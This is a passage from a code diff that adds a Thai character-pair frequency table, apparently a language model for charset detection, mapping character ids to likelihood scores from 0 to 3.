0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 23: { # 'ิ' + 5: 3, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 3, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 2, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 3, # 'ศ' + 46: 2, # 'ษ' + 18: 2, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 2, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 13: { # 'ี' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 1, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 2, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 40: { # 'ึ' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 1, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 27: { # 'ื' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 32: { # 'ุ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 3, # 'ค' + 8: 3, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 1, # 'ฒ' + 43: 3, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 2, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 1, # 'ภ' + 9: 3, # 'ม' + 16: 1, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 1, # 'ว' + 42: 1, # 'ศ' + 46: 2, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 2, # '้' + 38: 1, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 35: { # 'ู' + 5: 3, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 2, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 2, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 2, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 2, # 'น' + 17: 0, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 1, # 'แ' + 41: 1, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 3, # '่' + 7: 3, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 11: { # 'เ' + 5: 3, # 'ก' + 30: 3, # 'ข' + 24: 3, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 3, # 'ฉ' + 34: 3, # 'ช' + 51: 2, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 1, # 'ณ' + 20: 3, # 'ด' + 19: 3, # 'ต' + 44: 1, # 'ถ' + 14: 3, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 3, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 3, # 'พ' + 54: 1, # 'ฟ' + 45: 3, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 3, # 'ว' + 42: 2, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 28: { # 'แ' + 5: 3, # 'ก' + 30: 2, # 'ข' + 24: 2, # 'ค' + 8: 1, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 3, # 'ต' + 44: 2, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 2, # 'ป' + 39: 3, # 'ผ' + 62: 0, # 'ฝ' + 31: 2, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 41: { # 'โ' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 1, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 1, # 'ภ' + 9: 1, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 3, # 'ล' + 12: 0, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 0, # 'ห' + 4: 2, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 29: { # 'ใ' + 5: 2, # 'ก' + 30: 0, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 3, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 3, # 'ส' + 21: 3, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 33: { # 'ไ' + 5: 1, # 'ก' + 30: 2, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 3, # 'ด' + 19: 1, # 'ต' + 44: 0, # 'ถ' + 14: 3, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 1, # 'บ' + 25: 3, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 2, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 0, # 'ย' + 2: 3, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 2, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 50: { # 'ๆ' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 0, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 0, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 37: { # '็' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 2, # 'ง' + 26: 3, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 1, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 0, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 3, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 1, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 2, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 0, # 'ห' + 4: 1, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 1, # 'เ' + 28: 0, # 'แ' + 41: 0, # 'โ' + 29: 0, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 6: { # '่' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 1, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 1, # 'ธ' + 3: 3, # 'น' + 17: 1, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 1, # 'ฝ' + 31: 1, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 3, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 2, # 'ล' + 12: 3, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 1, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 1, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 3, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 1, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 7: { # '้' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 2, # 'ค' + 8: 3, # 'ง' + 26: 2, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 1, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 1, # 'ด' + 19: 2, # 'ต' + 44: 1, # 'ถ' + 14: 2, # 'ท' + 48: 0, # 'ธ' + 3: 3, # 'น' + 17: 2, # 'บ' + 25: 2, # 'ป' + 39: 2, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 3, # 'ม' + 16: 2, # 'ย' + 2: 2, # 'ร' + 61: 0, # 'ฤ' + 15: 1, # 'ล' + 12: 3, # 'ว' + 42: 1, # 'ศ' + 46: 0, # 'ษ' + 18: 2, # 'ส' + 21: 2, # 'ห' + 4: 3, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 3, # 'า' + 36: 2, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 2, # 'ใ' + 33: 2, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 38: { # '์' + 5: 2, # 'ก' + 30: 1, # 'ข' + 24: 1, # 'ค' + 8: 0, # 'ง' + 26: 1, # 'จ' + 52: 0, # 'ฉ' + 34: 1, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 2, # 'ด' + 19: 1, # 'ต' + 44: 1, # 'ถ' + 14: 1, # 'ท' + 48: 0, # 'ธ' + 3: 1, # 'น' + 17: 1, # 'บ' + 25: 1, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 1, # 'พ' + 54: 1, # 'ฟ' + 45: 0, # 'ภ' + 9: 2, # 'ม' + 16: 0, # 'ย' + 2: 1, # 'ร' + 61: 1, # 'ฤ' + 15: 1, # 'ล' + 12: 1, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 1, # 'ส' + 21: 1, # 'ห' + 4: 2, # 'อ' + 63: 1, # 'ฯ' + 22: 0, # 'ะ' + 10: 0, # 'ั' + 1: 0, # 'า' + 36: 0, # 'ำ' + 23: 0, # 'ิ' + 13: 0, # 'ี' + 40: 0, # 'ึ' + 27: 0, # 'ื' + 32: 0, # 'ุ' + 35: 0, # 'ู' + 11: 2, # 'เ' + 28: 2, # 'แ' + 41: 1, # 'โ' + 29: 1, # 'ใ' + 33: 1, # 'ไ' + 50: 0, # 'ๆ' + 37: 0, # '็' + 6: 0, # '่' + 7: 0, # '้' + 38: 0, # '์' + 56: 0, # '๑' + 59: 0, # '๒' + 60: 0, # '๕' + }, + 56: { # '๑' + 5: 0, # 'ก' + 30: 0, # 'ข' + 24: 0, # 'ค' + 8: 0, # 'ง' + 26: 0, # 'จ' + 52: 0, # 'ฉ' + 34: 0, # 'ช' + 51: 0, # 'ซ' + 47: 0, # 'ญ' + 58: 0, # 'ฎ' + 57: 0, # 'ฏ' + 49: 0, # 'ฐ' + 53: 0, # 'ฑ' + 55: 0, # 'ฒ' + 43: 0, # 'ณ' + 20: 0, # 'ด' + 19: 0, # 'ต' + 44: 0, # 'ถ' + 14: 0, # 'ท' + 48: 0, # 'ธ' + 3: 0, # 'น' + 17: 0, # 'บ' + 25: 0, # 'ป' + 39: 0, # 'ผ' + 62: 0, # 'ฝ' + 31: 0, # 'พ' + 54: 0, # 'ฟ' + 45: 0, # 'ภ' + 9: 0, # 'ม' + 16: 0, # 'ย' + 2: 0, # 'ร' + 61: 0, # 'ฤ' + 15: 0, # 'ล' + 12: 0, # 'ว' + 42: 0, # 'ศ' + 46: 0, # 'ษ' + 18: 0, # 'ส' + 21: 0, # 'ห' + 4: 0, # 'อ' + 63: 0, # 'ฯ' + 22: 0, # 